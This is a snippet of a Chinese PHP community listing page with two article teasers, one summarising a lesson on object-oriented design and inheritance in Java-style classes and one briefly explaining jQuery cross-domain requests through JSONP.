    本文总结了Week04面向对象设计与继承的重要知识点,包括对象、类、封装性、静态属性、静态方法、重载、继承和多态等。同时,还介绍了私有构造函数在类外部无法被调用、static不能访问非静态属性以及该类实例可以共享类里的static属性等内容。此外,还提到了作业要求,包括讲述一个在网上商城购物或在班级博客进行学习的故事,并使用Markdown的加粗标记和语句块标记标注关键名词和动词。最后,还提到了参考资料中关于UML类图如何绘制的范例。 ... [详细]
  • Jquery 跨域问题
    为什么80%的码农都做不了架构师?JQuery1.2后getJSON方法支持跨域读取json数据,原理是利用一个叫做jsonp的概念。当然 ... [详细]
author-avatar
双鱼天脎
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有